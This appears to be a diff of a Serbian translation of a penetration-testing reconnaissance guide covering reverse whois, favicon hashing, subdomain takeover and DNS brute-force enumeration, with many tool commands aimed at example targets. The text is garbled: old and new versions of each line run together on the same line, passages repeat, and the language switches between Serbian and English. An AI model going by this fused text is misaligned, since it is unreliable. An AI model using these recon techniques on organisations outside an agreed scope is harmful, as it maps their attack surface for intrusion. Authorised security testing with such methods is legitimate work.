Unutar **whois** informacija možete pronaći mnogo zanimljivih **podataka** poput **imenа organizacije**, **adrese**, **emailova**, brojeva telefona... Ali ono što je još interesantnije je da možete pronaći **više resursa povezanih sa kompanijom** ako izvršite **obrnute whois pretrage po bilo kojem od tih polja** (na primer, drugi whois registri gde se isti email pojavljuje).\ ### **Obrnuti Whois (loop)**
Možete koristiti online alate poput:
Unutar **whois** možete pronaći mnogo zanimljivih **informacija** kao što su **ime organizacije**, **adresa**, **emailovi**, brojevi telefona... Ali ono što je još zanimljivije je da možete pronaći **više sredstava povezanih sa kompanijom** ako izvršite **obrnute whois pretrage po bilo kojem od tih polja** (na primer, druge whois registre gde se isti email pojavljuje).\
Možete koristiti online alate kao što su:
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Besplatno** * [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Besplatno**
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Besplatno** * [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Besplatno**
@ -108,17 +112,17 @@ Možete koristiti online alate poput:
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Nije besplatno (samo **100 besplatnih** pretraga) * [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Nije besplatno (samo **100 besplatnih** pretraga)
* [https://www.domainiq.com/](https://www.domainiq.com) - Nije besplatno * [https://www.domainiq.com/](https://www.domainiq.com) - Nije besplatno
Možete automatizovati ovaj zadatak koristeći [**DomLink** ](https://github.com/vysecurity/DomLink)(zahteva whoxy API ključ).\ Možete automatizovati ovaj zadatak koristeći [**DomLink** ](https://github.com/vysecurity/DomLink) (zahteva whoxy API ključ).\
Takođe možete izvršiti automatsko otkrivanje obrnutog whois-a sa [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois` Takođe možete izvršiti neku automatsku obrnutu whois pretragu sa [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
**Imajte na umu da možete koristiti ovu tehniku da otkrijete više imena domena svaki put kada pronađete novi domen.** **Napomena da možete koristiti ovu tehniku da otkrijete više imena domena svaki put kada pronađete novi domen.**
### **Pratitelji (Trackers)** ### **Trackers**
Ako pronađete **isti ID istog pratitelja** na 2 različite stranice, možete pretpostaviti da **obe stranice** upravlja **isti tim**.\ Ako pronađete **isti ID istog trackera** na 2 različite stranice, možete pretpostaviti da su **obe stranice** **upravlja iste ekipe**.\
Na primer, ako vidite isti **Google Analytics ID** ili isti **Adsense ID** na nekoliko stranica. Na primer, ako vidite isti **Google Analytics ID** ili isti **Adsense ID** na nekoliko stranica.
Postoje neke stranice i alati koji vam omogućavaju pretragu po ovim pratiteljima i više: Postoje neke stranice i alati koji vam omogućavaju da pretražujete po ovim trackerima i još:
* [**Udon**](https://github.com/dhn/udon) * [**Udon**](https://github.com/dhn/udon)
* [**BuiltWith**](https://builtwith.com) * [**BuiltWith**](https://builtwith.com)
@ -128,20 +132,20 @@ Postoje neke stranice i alati koji vam omogućavaju pretragu po ovim pratiteljim
### **Favicon** ### **Favicon**
Da li ste znali da možemo pronaći povezane domene i pod-domenove našeg cilja tražeći isti hash ikone favicona? To je upravo ono što alat [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) napravljen od strane [@m4ll0k2](https://twitter.com/m4ll0k2) radi. Evo kako ga koristiti: Da li ste znali da možemo pronaći povezane domene i poddomene našeg cilja tražeći isti hash favicon ikone? Ovo je upravo ono što alat [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) koji je napravio [@m4ll0k2](https://twitter.com/m4ll0k2) radi. Evo kako ga koristiti:
```bash ```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
``` ```
![favihash - otkrijte domene sa istim hešom ikone favicon-a](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) ![favihash - otkrijte domene sa istim favicon ikonom hash](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
Jednostavno rečeno, favihash će nam omogućiti da otkrijemo domene koje imaju isti heš ikone favicon-a kao naš cilj. Jednostavno rečeno, favihash će nam omogućiti da otkrijemo domene koje imaju isti favicon ikonu hash kao naš cilj.
Osim toga, možete takođe pretraživati tehnologije koristeći heš favicon-a kako je objašnjeno u [**ovom blog postu**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). To znači da ako znate **h favicon-a ranjive verzije web tehnologije** možete pretražiti u shodanu i **pronaći više ranjivih mesta**: Štaviše, možete takođe pretraživati tehnologije koristeći favicon hash kao što je objašnjeno u [**ovom blog postu**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). To znači da ako znate **hash favicon-a ranjive verzije web tehnologije** možete pretraživati u shodan-u i **pronaći više ranjivih mesta**:
```bash ```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
``` ```
Evo kako možete **izračunati heš favicon-a** veb stranice: Ovo je kako možete **izračunati favicon hash** veba:
```python ```python
import mmh3 import mmh3
import requests import requests
@ -154,77 +158,75 @@ fhash = mmh3.hash(favicon)
print(f"{url} : {fhash}") print(f"{url} : {fhash}")
return fhash return fhash
``` ```
### **Autorsko pravo / Jedinstveni niz** ### **Copyright / Uniq string**
Pretražite unutar web stranica **nizove koji bi mogli biti deljeni između različitih veb lokacija u istoj organizaciji**. **Niska autorskog prava** mogla bi biti dobar primer. Zatim pretražite tu nisku na **google-u**, u drugim **pregledačima** ili čak na **shodan-u**: `shodan search http.html:"Niska autorskog prava"` Pretražujte unutar web stranica **nizove koji se mogu deliti između različitih webova u istoj organizaciji**. **Copyright string** može biti dobar primer. Zatim pretražujte taj niz u **google-u**, u drugim **pregledačima** ili čak u **shodan-u**: `shodan search http.html:"Copyright string"`
### **CRT vreme** ### **CRT Time**
Uobičajeno je imati cron posao kao što je Uobičajeno je imati cron job kao
```bash ```bash
# /etc/crontab # /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx" 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
``` ```
### Obnova sertifikata domena to renew the all the domain certificates on the server. This means that even if the CA used for this doesn't set the time it was generated in the Validity time, it's possible to **find domains belonging to the same company in the certificate transparency logs**.\
Check out this [**writeup for more information**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
Morate obnoviti sve sertifikate domena na serveru. To znači da čak i ako CA koji se koristi za ovo ne postavlja vreme kada je generisan u Vremenu važnosti, moguće je **pronaći domene koje pripadaju istoj kompaniji u logovima transparentnosti sertifikata**.\ ### Mail DMARC information
Pogledajte ovaj [**članak za više informacija**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
### Informacije o DMARC pošti You can use a web such as [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) or a tool such as [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) to find **domeni i poddomeni koji dele iste dmarc informacije**.
Možete koristiti veb stranicu poput [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) ili alat poput [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) da pronađete **domene i poddomene koje dele iste DMARC informacije**. ### **Passive Takeover**
### **Pasivno preuzimanje** Apparently is common for people to assign subdomains to IPs that belongs to cloud providers and at some point **lose that IP address but forget about removing the DNS record**. Therefore, just **spawning a VM** in a cloud (like Digital Ocean) you will be actually **taking over some subdomains(s)**.
Čini se da je uobičajeno da ljudi dodeljuju poddomene IP adresama koje pripadaju provajderima oblaka i u nekom trenutku **izgube tu IP adresu ali zaborave da uklone DNS zapis**. Stoga, samo **pokretanje virtuelne mašine** u oblaku (poput Digital Ocean) zapravo će značiti **preuzimanje nekih poddomena**. [**This post**](https://kmsec.uk/blog/passive-takeover/) explains a store about it and propose a script that **spawns a VM in DigitalOcean**, **gets** the **IPv4** of the new machine, and **searches in Virustotal for subdomain records** pointing to it.
[**Ovaj post**](https://kmsec.uk/blog/passive-takeover/) objašnjava priču o tome i predlaže skriptu koja **pokreće virtuelnu mašinu u DigitalOcean-u**, **dobija** IPv4 **nove mašine, i traži u Virustotal-u zapise o poddomenima** koji na nju pokazuju. ### **Other ways**
### **Drugi načini** **Note that you can use this technique to discover more domain names every time you find a new domain.**
**Imajte na umu da možete koristiti ovu tehniku da otkrijete više imena domena svaki put kada pronađete novi domen.**
**Shodan** **Shodan**
Kako već znate ime organizacije koja poseduje IP prostor, možete pretražiti te podatke u Shodan-u koristeći: `org:"Tesla, Inc."` Proverite pronađene hostove za nove neočekivane domene u TLS sertifikatu. As you already know the name of the organisation owning the IP space. You can search by that data in shodan using: `org:"Tesla, Inc."` Check the found hosts for new unexpected domains in the TLS certificate.
Mogli biste pristupiti **TLS sertifikatu** glavne veb stranice, dobiti **ime organizacije** i zatim tražiti to ime unutar **TLS sertifikata** svih veb stranica poznatih od strane **Shodan-a** sa filterom: `ssl:"Tesla Motors"` ili koristiti alat poput [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). You could access the **TLS certificate** of the main web page, obtain the **Organisation name** and then search for that name inside the **TLS certificates** of all the web pages known by **shodan** with the filter : `ssl:"Tesla Motors"` or use a tool like [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
**Assetfinder** **Assetfinder**
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder) je alat koji traži **domene povezane** sa glavnim domenom i **poddomene** od njih, prilično neverovatan. [**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **domeni povezani** sa glavnim domenom i **poddomenima** njih, prilično neverovatno.
### **Traženje ranjivosti** ### **Looking for vulnerabilities**
Proverite da li postoji [preuzimanje domena](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Možda neka kompanija **koristi neki domen** ali su **izgubili vlasništvo**. Samo ga registrujte (ako je dovoljno jeftino) i obavestite kompaniju. Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company.
Ako pronađete bilo koji **domen sa drugačijom IP adresom** od onih koje ste već pronašli u otkrivanju resursa, trebalo bi da izvršite **osnovno skeniranje ranjivosti** (koristeći Nessus ili OpenVAS) i neko [**skeniranje portova**](../pentesting-network/#discovering-hosts-from-the-outside) sa **nmap/masscan/shodan**. Zavisno od toga koje usluge se izvršavaju, možete pronaći u **ovoj knjizi neke trikove za "napad" na njih**.\ If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\
_Napomena da se ponekad domen nalazi unutar IP adrese koja nije pod kontrolom klijenta, pa nije u opsegu, budite oprezni._ _Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\ <img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Savet za bug bounty**: **Prijavite se** za **Intigriti**, premijum **platformu za bug bounty kreiranu od hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**! **Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
## Poddomeni ## Subdomains
> Znamo sve kompanije unutar opsega, sve resurse svake kompanije i sve domene povezane sa kompanijama. > We know all the companies inside the scope, all the assets of each company and all the domains related to the companies.
Vreme je da pronađemo sve moguće poddomene svakog pronađenog domena. It's time to find all the possible subdomains of each found domain.
{% hint style="success" %} {% hint style="success" %}
Imajte na umu da neki od alata i tehnika za pronalaženje domena takođe mogu pomoći u pronalaženju poddomena! Note that some of the tools and techniques to find domains can also help to find subdomains!
{% endhint %} {% endhint %}
### **DNS** ### **DNS**
Pokušajmo da dobijemo **poddomene** iz **DNS** zapisa. Takođe bismo trebali pokušati za **Zone Transfer** (Ako je ranjiv, trebalo bi da prijavite). Let's try to get **poddomeni** from the **DNS** records. We should also try for **Zone Transfer** (If vulnerable, you should report it).
```bash ```bash
dnsrecon -a -d tesla.com dnsrecon -a -d tesla.com
``` ```
### **OSINT** ### **OSINT**
Najbrži način da dobijete mnogo poddomena je pretraga u eksternim izvorima. Najkorišćeniji **alati** su sledeći (za bolje rezultate konfigurišite API ključeve): Najbrži način da se dobiju mnogi poddomeni je pretraga u spoljnim izvorima. Najčešće korišćeni **alati** su sledeći (za bolje rezultate konfigurišite API ključeve):
* [**BBOT**](https://github.com/blacklanternsecurity/bbot) * [**BBOT**](https://github.com/blacklanternsecurity/bbot)
```bash ```bash
@ -252,7 +254,7 @@ amass enum -d tesla.com | grep tesla.com # To just list subdomains
# findomain, use -silent to only have subdomains in the output # findomain, use -silent to only have subdomains in the output
./findomain-linux -t tesla.com [--quiet] ./findomain-linux -t tesla.com [--quiet]
``` ```
* [**OneForAll**](https://github.com/shmilylty/OneForAll/tree/master/docs/sr) * [**OneForAll**](https://github.com/shmilylty/OneForAll/tree/master/docs/en-us)
```bash ```bash
python3 oneforall.py --target tesla.com [--dns False] [--req False] [--brute False] run python3 oneforall.py --target tesla.com [--dns False] [--req False] [--brute False] run
``` ```
@ -273,7 +275,7 @@ vita -d tesla.com
```bash ```bash
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye" theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
``` ```
Postoje **drugi zanimljivi alati/API-ji** koji, čak i ako nisu direktno specijalizovani za pronalaženje poddomena, mogu biti korisni za pronalaženje poddomena, kao što su: Postoje **drugi zanimljivi alati/API** koji, iako nisu direktno specijalizovani za pronalaženje poddomena, mogu biti korisni za pronalaženje poddomena, kao što su:
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Koristi API [https://sonar.omnisint.io](https://sonar.omnisint.io) za dobijanje poddomena * [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Koristi API [https://sonar.omnisint.io](https://sonar.omnisint.io) za dobijanje poddomena
```bash ```bash
@ -285,7 +287,7 @@ curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]"
```bash ```bash
curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]" curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]"
``` ```
* [**RapidDNS**](https://rapiddns.io) besplatni API * [**RapidDNS**](https://rapiddns.io) besplatan API
```bash ```bash
# Get Domains from rapiddns free API # Get Domains from rapiddns free API
rapiddns(){ rapiddns(){
@ -305,12 +307,12 @@ curl -s "https://crt.sh/?q=%25.$1" \
} }
crt tesla.com crt tesla.com
``` ```
* [**gau**](https://github.com/lc/gau)**:** prikuplja poznate URL adrese sa AlienVault-ove Open Threat Exchange, Wayback Machine-a i Common Crawl-a za bilo koji dati domen. * [**gau**](https://github.com/lc/gau)**:** preuzima poznate URL adrese iz AlienVault-ove Open Threat Exchange, Wayback Machine-a i Common Crawl-a za bilo koju datu domenu.
```bash ```bash
# Get subdomains from GAUs found URLs # Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u gau --subs tesla.com | cut -d "/" -f 3 | sort -u
``` ```
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Oni pretražuju web u potrazi za JS fajlovima i iz njih izvlače poddomene. * [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Oni pretražuju web u potrazi za JS datotekama i izvode poddomene iz njih.
```bash ```bash
# Get only subdomains from SubDomainizer # Get only subdomains from SubDomainizer
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
@ -325,7 +327,7 @@ shodan domain <domain>
# Get other pages with links to subdomains # Get other pages with links to subdomains
shodan search "http.html:help.domain.com" shodan search "http.html:help.domain.com"
``` ```
* [**Censys alat za pronalaženje poddomena**](https://github.com/christophetd/censys-subdomain-finder) * [**Censys subdomain finder**](https://github.com/christophetd/censys-subdomain-finder)
```bash ```bash
export CENSYS_API_ID=... export CENSYS_API_ID=...
export CENSYS_API_SECRET=... export CENSYS_API_SECRET=...
@ -335,18 +337,18 @@ python3 censys-subdomain-finder.py tesla.com
```bash ```bash
python3 DomainTrail.py -d example.com python3 DomainTrail.py -d example.com
``` ```
* [**securitytrails.com**](https://securitytrails.com/) ima besplatnu API za pretragu poddomena i istoriju IP adresa * [**securitytrails.com**](https://securitytrails.com/) ima besplatan API za pretragu subdomena i istoriju IP adresa
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) * [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
Ovaj projekat nudi **besplatno sve poddomene vezane za programe bug-bounty-a**. Možete pristupiti ovim podacima koristeći i [chaospy](https://github.com/dr-0x0x/chaospy) ili pristupiti opsegu korišćenom od strane ovog projekta [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) Ovaj projekat nudi **besplatno sve subdomene povezane sa bug-bounty programima**. Ove podatke možete pristupiti i koristeći [chaospy](https://github.com/dr-0x0x/chaospy) ili čak pristupiti opsegu koji koristi ovaj projekat [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
Možete pronaći **poređenje** mnogih ovih alata ovde: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) Možete pronaći **uporedbu** mnogih od ovih alata ovde: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
### **DNS Brute force** ### **DNS Brute force**
Pokušajmo da pronađemo nove **poddomene** grubom silom napadajući DNS servere koristeći moguća imena poddomena. Pokušajmo da pronađemo nove **subdomene** brute-forcing DNS servere koristeći moguće nazive subdomena.
Za ovu akciju će vam biti potrebne neke **uobičajene liste reči za poddomene kao što su**: Za ovu akciju biće vam potrebne neke **uobičajene liste reči za subdomene kao što su**:
* [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056) * [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
* [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt) * [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
@ -354,21 +356,21 @@ Za ovu akciju će vam biti potrebne neke **uobičajene liste reči za poddomene
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak) * [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS) * [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
Takođe, IP adrese dobrih DNS resolvera. Da biste generisali listu pouzdanih DNS resolvera, možete preuzeti resolvere sa [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) i koristiti [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) da ih filtrirate. Ili možete koristiti: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) I takođe IP adrese dobrih DNS resolvera. Da biste generisali listu pouzdanih DNS resolvera, možete preuzeti resolvere sa [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) i koristiti [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) da ih filtrirate. Ili možete koristiti: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
Najpreporučeniji alati za DNS grubu silu su: Najpreporučiviji alati za DNS brute-force su:
* [**massdns**](https://github.com/blechschmidt/massdns): Ovo je prvi alat koji je izveo efikasnu DNS grubu silu. Veoma je brz, međutim sklon je lažnim pozitivima. * [**massdns**](https://github.com/blechschmidt/massdns): Ovo je bio prvi alat koji je efikasno izveo DNS brute-force. Veoma je brz, međutim sklon je lažnim pozitivnim rezultatima.
```bash ```bash
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
``` ```
* [**gobuster**](https://github.com/OJ/gobuster): Mislim da ovaj koristi samo 1 rešavač * [**gobuster**](https://github.com/OJ/gobuster): Mislim da koristi samo 1 resolver
``` ```
gobuster dns -d mysite.com -t 50 -w subdomains.txt gobuster dns -d mysite.com -t 50 -w subdomains.txt
``` ```
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) je omotač oko `massdns`, napisan u go-u, koji vam omogućava da nabrojite validne poddomene korišćenjem aktivnog brute force-a, kao i da rešavate poddomene sa rukovanjem sa džokerima i podrškom za jednostavan unos i izlaz. * [**shuffledns**](https://github.com/projectdiscovery/shuffledns) je omotač oko `massdns`, napisan u go, koji vam omogućava da enumerišete važeće poddomene koristeći aktivni bruteforce, kao i da rešavate poddomene sa obradom wildcard-a i jednostavnom podrškom za ulaz-izlaz.
``` ```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
``` ```
@ -376,55 +378,55 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
``` ```
puredns bruteforce all.txt domain.com puredns bruteforce all.txt domain.com
``` ```
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) koristi asyncio za brute force napade na domenska imena asinhrono. * [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) koristi asyncio za asinkrono brute force-ovanje imena domena.
``` ```
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
``` ```
### Druga runda Brute-Force napada na DNS ### Druga runda DNS brute-force
Nakon što ste pronašli poddomene korišćenjem otvorenih izvora i brute-force tehnike, možete generisati varijacije pronađenih poddomena kako biste pokušali pronaći još više. Za tu svrhu korisni su neki alati: Nakon što ste pronašli poddomene koristeći otvorene izvore i brute-forcing, možete generisati varijacije pronađenih poddomena kako biste pokušali da pronađete još više. Nekoliko alata je korisno za ovu svrhu:
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Na osnovu domena i poddomena generiše permutacije. * [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Dajući domene i poddomene generiše permutacije.
```bash ```bash
cat subdomains.txt | dnsgen - cat subdomains.txt | dnsgen -
``` ```
* [**goaltdns**](https://github.com/subfinder/goaltdns): Dati domeni i poddomeni generišu permutacije. * [**goaltdns**](https://github.com/subfinder/goaltdns): Dati domene i poddomene generišite permutacije.
* Možete dobiti goaltdns permutacije **wordlist** [**ovde**](https://github.com/subfinder/goaltdns/blob/master/words.txt). * Možete dobiti goaltdns permutacije **wordlist** [**ovde**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
```bash ```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
``` ```
* [**gotator**](https://github.com/Josue87/gotator)**:** Dati domeni i poddomeni generišu permutacije. Ako nije naznačena datoteka permutacija, gotator će koristiti svoju. * [**gotator**](https://github.com/Josue87/gotator)**:** Dati domeni i poddomeni generišu permutacije. Ako nije naznačen fajl sa permutacijama, gotator će koristiti svoj.
``` ```
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
``` ```
* [**altdns**](https://github.com/infosec-au/altdns): Pored generisanja permutacija poddomena, takođe može pokušati da ih reši (ali je bolje koristiti prethodno komentarisane alate). * [**altdns**](https://github.com/infosec-au/altdns): Osim generisanja permutacija poddomena, može pokušati i da ih reši (ali je bolje koristiti prethodno pomenute alate).
* Možete preuzeti altdns permutacije **wordlist** [**ovde**](https://github.com/infosec-au/altdns/blob/master/words.txt). * Možete dobiti altdns permutacije **wordlist** u [**ovde**](https://github.com/infosec-au/altdns/blob/master/words.txt).
``` ```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
``` ```
* [**dmut**](https://github.com/bp0lr/dmut): Još jedan alat za izvođenje permutacija, mutacija i izmena poddomena. Ovaj alat će grubom silom dobiti rezultat (ne podržava dns wildcard). * [**dmut**](https://github.com/bp0lr/dmut): Još jedan alat za izvođenje permutacija, mutacija i izmena poddomena. Ovaj alat će izvršiti brute force na rezultat (ne podržava dns wild card).
* Možete preuzeti dmut permutacije rečnika reči [**ovde**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt). * Možete dobiti dmut permutacije rečnik [**ovde**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
```bash ```bash
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
``` ```
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Zasnovan na domenu, **generiše nove potencijalne poddomene** na osnovu naznačenih obrazaca kako bi pokušao da otkrije više poddomena. * [**alterx**](https://github.com/projectdiscovery/alterx)**:** Na osnovu domena, **generiše nova potencijalna imena poddomena** na osnovu naznačenih obrazaca kako bi pokušao da otkrije više poddomena.
#### Pametna generacija permutacija #### Generisanje pametnih permutacija
* [**regulator**](https://github.com/cramppet/regulator): Za više informacija pročitajte ovaj [**post**](https://cramppet.github.io/regulator/index.html) ali će u osnovi uzeti **glavne delove** otkrivenih poddomena i mešati ih kako bi pronašao više poddomena. * [**regulator**](https://github.com/cramppet/regulator): Za više informacija pročitajte ovaj [**post**](https://cramppet.github.io/regulator/index.html), ali će u osnovi uzeti **glavne delove** iz **otkrivenih poddomena** i mešati ih kako bi pronašao više poddomena.
```bash ```bash
python3 main.py adobe.com adobe adobe.rules python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid puredns resolve adobe.brute --write adobe.valid
``` ```
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ je fuzzer za grubu silu poddomena uparen sa izuzetno jednostalnim, ali efikasnim algoritmom vođenim odgovorima DNS-a. Koristi pruženi set ulaznih podataka, poput prilagođene liste reči ili istorijskih DNS/TLS zapisa, kako bi tačno sintetisao više odgovarajućih imena domena i dalje ih proširio u petlji na osnovu informacija prikupljenih tokom skeniranja DNS-a. * [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ je fuzzer za brute-force subdomena uparen sa izuzetno jednostavnom, ali efikasnom DNS odgovorom vođenom algoritmom. Koristi pruženi skup ulaznih podataka, kao što su prilagođena lista reči ili istorijski DNS/TLS zapisi, da precizno sintetiše više odgovarajućih imena domena i dodatno ih proširuje u petlji na osnovu informacija prikupljenih tokom DNS skeniranja.
``` ```
echo www | subzuf facebook.com echo www | subzuf facebook.com
``` ```
### **Radni tok otkrivanja poddomena** ### **Workflow za otkrivanje poddomena**
